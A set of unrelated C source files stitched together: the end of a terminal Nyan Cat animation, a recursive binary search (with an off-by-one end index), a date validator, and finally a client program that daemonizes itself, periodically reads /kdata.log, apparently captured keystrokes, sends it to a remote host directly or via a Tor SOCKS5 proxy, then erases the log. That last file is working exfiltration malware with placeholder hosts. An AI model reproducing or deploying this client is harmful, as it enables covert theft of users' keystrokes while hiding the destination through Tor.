",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,.,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ".,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ".,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,.,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ">>,,,,,,,>>>>>>>>,,,,,,,,''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>>'@@@@@@@@@@@@@@@',,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@@$$$$$$$$$$$@@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@@$$$$$-$$-$$$$@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$-$$$$$$''$-$$@','',,,,,,,,,,,,,,,,,,,", "++&&&&&&&++++++++&&&&&&'@$$$$$$$$'**'$$$@''**',,,,,,,,,,,,,,,,,,", "+++++++++++++++++++++++'@$$$$$-$$'***$$$@'***',,,,,,,,,,,,,,,,,,", "++++++++++++++++++'''++'@$$$$$$$$'***''''****',,,,,,,,,,,,,,,,,,", "##+++++++########'**''''@$$$$$$$$'***********',,,,,,,,,,,,,,,,,,", "#################'****''@$$$$$$-'*************',,,,,,,,,,,,,,,,,", "##################''''*'@$-$$$$$'***.'****.'**',,,,,,,,,,,,,,,,,", "==#######========####'''@$$$$$$$'***''**'*''**',,,,,,,,,,,,,,,,,", "======================='@@$$$-$$'*%%********%%',,,,,,,,,,,,,,,,,", ";;=======;;;;;;;;=====''@@@$$$$$$'***''''''**',,,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;''''@@@@@@@@@'*********',,,,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;'***'''''''''''''''''''',,,,,,,,,,,,,,,,,,,,", ",,;;;;;;;,,,,,,,,;;;'**'.'**..,,,,'**''**',,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,''',,,'',,,,,,,''',''',,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ".,.,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"}; char * frame11[] = { ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ">>,,,,,,,>>>>>>>>,,,,,,,,''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>>'@@@@@@@@@@@@@@@',,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@@$$$$$$$$$$$@@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@@$$$$$-$$''$$$@@','',,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$-$$$$$'**'-$$@''**',,,,,,,,,,,,,,,,,,", "++&&&&&&&++++++++&&&&&&'@$$$$$$$$'***$$$@'***',,,,,,,,,,,,,,,,,,", "+++++++++++++++++++'+++'@$$$$$-$$'***''''****',,,,,,,,,,,,,,,,,,", "++++++++++++++++++'*'++'@$$$$$$$$'***********',,,,,,,,,,,,,,,,,,", "##+++++++########+'*''''@$$$$$$$'*************',,,,,,,,,,,,,,,,,", "###################****'@$$$$$$-'***.'****.'**',,,,,,,,,,,,,,,,,", "###################''**'@$-$$$$$'***''**'*''**',,,,,,,,,,,,,,,,,", "==#######========####'''@$$$$$$$'*%%********%%',,,,,,,,,,,,,,,,,", "======================='@@$$$-$$$'***''''''**',,,,,,,,,,,,,,,,,,", ";;=======;;;;;;;;=.===''@@@$$$$$$$'*********',,,,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;.'*''@@@@@@@@@@''''''''',,,,,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;'***''''''''''''''''*',,,,,,,,,,,,,,,,,,,,,,", ",,;;;;;;;,,,,,,,.;;;'**','**,,,,,,'**''**',,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,''',,''',,,,,,''',,''',,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,.,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"}; char ** frames[] = { frame0, frame1, frame2, frame3, frame4, frame5, frame6, frame7, frame8, frame9, frame10, frame11, NULL }; int main(int argc, char ** argv) { printf("\033[H\033[2J"); if (argc < 2) { colors[','] = "\033[48;5;17m"; colors['>'] = "\033[48;5;9m"; colors['.'] = "\033[48;5;15m"; colors['\''] = "\033[48;5;0m"; colors['@'] = "\033[48;5;230m"; colors['$'] = "\033[48;5;175m"; colors['&'] = "\033[48;5;202m"; colors['+'] = "\033[48;5;11m"; colors['-'] = "\033[48;5;162m"; colors['#'] = "\033[48;5;10m"; colors['*'] = "\033[48;5;8m"; colors['='] = "\033[48;5;33m"; colors[';'] = "\033[48;5;19m"; } else { colors[','] = "\033[104m"; /* Blue background */ colors['.'] = "\033[107m"; /* White stars */ colors['\''] = "\033[40m"; /* Black border */ colors['@'] = "\033[47m"; /* Tan poptart */ colors['$'] = "\033[105m"; /* Pink poptart */ colors['-'] = "\033[101m"; /* Red poptart */ colors['>'] = "\033[101m"; /* Red rainbow */ colors['&'] = "\033[43m"; /* Orange rainbow */ colors['+'] = "\033[103m"; /* Yellow Rainbow */ colors['#'] = "\033[102m"; /* Green rainbow */ colors['='] = "\033[104m"; /* Light blue rainbow */ colors[';'] = "\033[44m"; /* Dark blue rainbow */ colors['*'] = "\033[100m"; /* Gray cat face */ colors['%'] = "\033[105m"; /* Pink cheeks */ } int playing = 1; size_t i = 0; char last = 0; while (playing) { for (size_t y = 20; y < 43; ++y) { for (size_t x = 10; x < 49; ++x) { if (frames[i][y][x] != last && colors[frames[i][y][x]]) { last = frames[i][y][x]; printf("%s ", colors[frames[i][y][x]]); } else { printf(" "); } } if (y != 63) printf("\n"); } ++i; if (!frames[i]) { i = 0; } for (uint32_t sleep = 0; sleep < 0x02FFFFFF; ++sleep) { __asm__ __volatile__ ("nop"); } printf("\033[H"); } return 0; }
the_stack_data/218891927.c
#include <stdio.h> #define LEN 10 int binary_search(int array[], int start, int end, int number); int main(int argc, char const *argv[]) { int array[LEN] = {7, 9, 29, 34, 44, 58, 60, 71, 84, 90}; for (int i = 0; i < LEN; i++) printf("%4d", array[i]); int number; printf("\n Input the number:\n"); scanf("%d", &number); int k = binary_search(array, 0, LEN, number); printf("The number is %d in the array.\n", k + 1); } int binary_search(int array[], int start, int end, int number) { if (start > end) return -1; int mid = (end - start) / 2 + start; if (array[mid] > number) return binary_search(array, start, mid - 1, number); if (array[mid] < number) return binary_search(array, mid + 1, end, number); return mid ; }
the_stack_data/247017488.c
#include<stdio.h> int isLeapYr(int n) { if(n%400==0) return 29; else if(n%4==0 && n%100!=0) return 29; return 28; } void checkValidity(int d, int m, int y) { int days = 28; if(d<=0 || m>12 || m<=0) { printf("Not Valid"); return; } switch(m) { case 1: case 3: case 5: case 7: case 8: case 10: case 12: if(d>31) printf("Not Valid"); else printf("Valid"); break; case 4: case 6: case 9: case 11: if(d>30) printf("Not Valid"); else printf("Valid"); break; default: days = isLeapYr(y); if(d>days) printf("Not Valid"); else printf("Valid"); } } int main() { int day,month,year; scanf("%d %d %d",&day,&month,&year); checkValidity(day,month,year); return 0; }
the_stack_data/677989.c
//Client ... #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <sys/stat.h> #include <fcntl.h> #include <errno.h> #include <syslog.h> #include <time.h> #define tor_here #define host_ip "host_ip_here" #define host_port "host_port_here" #define tor_ip "tor_ip_here" #define tor_port "tor_port_here" void DEAMON() { //Process IDand session ID pid_t pid, sid; pid = fork(); //Fork of the parent Process if(pid < 0) exit(EXIT_FAILURE); if(pid > 0) exit(EXIT_SUCCESS); umask(0); //Change file mode umask sid = setsid(); if(sid < 0) exit(EXIT_FAILURE); if((chdir("/")) < 0) //Change current working directory exit(EXIT_FAILURE); //Close standard output file descriptors close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); } void print_data(const char *msg , int ext) { struct tm time_info; time_t r_time; time(&r_time); time_info = *(gmtime(&r_time)); FILE *p = fopen("log" , "a"); fprintf(p , " - %02d:%02d\t%s\n", time_info.tm_hour, time_info.tm_min , msg); if(ext == 1){ fprintf(p , " - %02d:%02d\t%s\n", time_info.tm_hour, time_info.tm_min , "Action: Exit"); fclose(p); exit(0); } fclose(p); } int main(int argc, char *argv[]) { if (argc < 5) { fprintf(stderr,"usage %s 'TOR IP' 'TOR PORT' 'HOST IP' 'HOST PORT'\n", argv[0]); exit(0); } DEAMON(); while(1) { #ifdef MACRO // Connection to server with TOR print_data("Action: Wake..." , 0); int sockfd, portno, n; struct sockaddr_in serv_addr; struct hostent *server; sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) print_data("ERROR: Opening Socket" , 1); char buffer[256]; portno = atoi(tor_port); server = gethostbyname(tor_ip); if (server == NULL) { print_data("ERROR: no such host" , 1); } bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(portno); while (connect(sockfd,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0) sleep(1); print_data("Pass: Connected to TOR Server" , 0); char Req1[3] = { 0x05, // SOCKS 5 0x01, // One Authentication Method 0x00 // No AUthentication }; send(sockfd, Req1, 3, MSG_NOSIGNAL); char Resp1[2]; recv(sockfd, Resp1, 2, 0); if(Resp1[1] != 0x00) print_data("Error: Error Authenticating" , 1); print_data("Action: Fetching..." , 0); char DomainLen = (char)strlen(host_ip); short Port = htons(atoi(host_port)); char TmpReq[4] = { 0x05, // SOCKS5 0x01, // CONNECT 0x00, // RESERVED 0x03, // DOMAIN }; int k = 4 + 1 + DomainLen + 2; char* Req2 = malloc(k * sizeof(char)); memcpy(Req2, TmpReq, 4); // 5, 1, 0, 3 memcpy(Req2 + 4, &DomainLen, 1); // Domain Length memcpy(Req2 + 5, host_ip, DomainLen); // Domain memcpy(Req2 + 5 + DomainLen, &Port, 2); // Port send(sockfd, (char*)Req2, 4 + 1 + DomainLen + 2, MSG_NOSIGNAL); char Resp2[10]; recv(sockfd, Resp2, 10, 0); if(Resp2[1] != 0x00) return(-1); // ERROR print_data("Action: Connected to hosting server..." , 0); FILE *fl = fopen("/kdata.log" , "r"); while(!feof(fl)){ bzero(buffer,256); fgets(buffer,255,fl); n = write(sockfd,buffer,strlen(buffer)); if (n <= 0){ } } fclose(fl); fclose(fopen("/kdata.log" , "w")); close(sockfd); print_data("Action: Sleep..." , 0); sleep(1800); #else // Connection to server without TOR int sockfd, portno, n; struct sockaddr_in serv_addr; struct hostent *server; sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) print_data("ERROR: Opening Socket" , 1); char buffer[256]; portno = atoi(host_port); server = gethostbyname(host_ip); if (server == NULL) { print_data("ERROR: no such host" , 1); } bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(portno); while (connect(sockfd,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0) sleep(1); print_data("Pass: Connected to remote server" , 0); FILE *fl = fopen("/kdata.log" , "r"); while(!feof(fl)){ bzero(buffer,256); fgets(buffer,255,fl); n = write(sockfd,buffer,strlen(buffer)); if (n <= 0){ } } fclose(fl); fclose(fopen("/kdata.log" , "w")); close(sockfd); print_data("Action: Sleep..." , 0); sleep(1800); #endif } _exit(0); }